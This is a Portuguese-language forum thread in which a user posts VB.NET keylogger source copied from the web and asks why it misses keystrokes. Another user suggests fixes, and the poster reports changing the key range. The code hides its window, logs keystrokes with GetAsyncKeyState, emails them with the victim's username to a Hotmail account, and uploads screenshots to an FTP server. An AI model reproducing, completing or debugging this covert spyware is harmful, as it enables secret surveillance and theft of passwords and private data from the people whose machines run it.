Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Problema-código keylogger

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Problema-código keylogger

    Peguei esse código na net. O programa envia somente algumas letras ou o email chega vazio, já olhei e não encontrei erro. Se alguém puder ajudar agradeço.
    No form tem um textbox e dois timers comas seguintes características.

    Código:
    Textbox: multiline.
    Timer 1: Enable; interval=1
    Timer 2: Enable; interval= 60000
    
     
    Imports System.Net.Mail
    Public Class Form1
        Dim key As Short
    
        Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Short
        Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
            Me.hide()
        End Sub
    
        Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
            For i = 1 To 255
    
                key = 0
    
                key = GetAsyncKeyState(i)
    
                If key = -32767 Then
    
                    TextBox1.Text = TextBox1.Text + Chr(i)
    
                End If
    
            Next i
    
        End Sub
    
        Private Sub Timer2_Tick(sender As System.Object, e As System.EventArgs) Handles Timer2.Tick
            Dim Mail As New MailMessage
            Mail.Subject = "Keylogger" & System.Environment.UserName
            Mail.To.Add("email de destino@hotmail.com")
            Mail.From = New MailAddress("keylloger@hotmail.com")
            Mail.Body = TextBox1.Text
            Dim SMTP As New SmtpClient("smtp.live.com")
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential("seuemail@hotmail.com", "suasenha") ' para poder entrar em seu e-mail e mandar os dados para o outro e-mail
            SMTP.Port = "587"
            SMTP.Send(Mail)
            TextBox1.Text = ""
            TextBox1.Text = TimeOfDay
            SendKeys.SendWait("^({PRTSC})")
            My.Computer.Clipboard.GetImage.Save("C:form.jpg")
            My.Computer.Network.UploadFile("C:form.jpg", "ftp://ftp.xpg.com.br/files/" & "form.jpg", "***", "****", False, 500)
        End Sub
    End Class
    Last edited by Piratica; 05-01-2015, 17:17. Motivo: Inserir como código.

  • Font Size
    #2
    Veja se o problema de não pegar algumas teclas acontece na hora que o Timer1 coincide com o disparo do evento no Timer2.

    Além disso teste em dois ou três computadores diferentes.
    Last edited by *MaLaGueTa; 06-01-2015, 00:47.

    Comment


    • Font Size
      #3
      Mudei o seguinte:

      For i = 1 To 255

      Por:

      For i = 65 To 90

      Para pegar as letras do alfabeto e funcionou quase que normalmente(as vezes clicava e não pegava umas teclas).

      Como fazer funcionar para todas as teclas.

      Comment

      X
      Working...
      X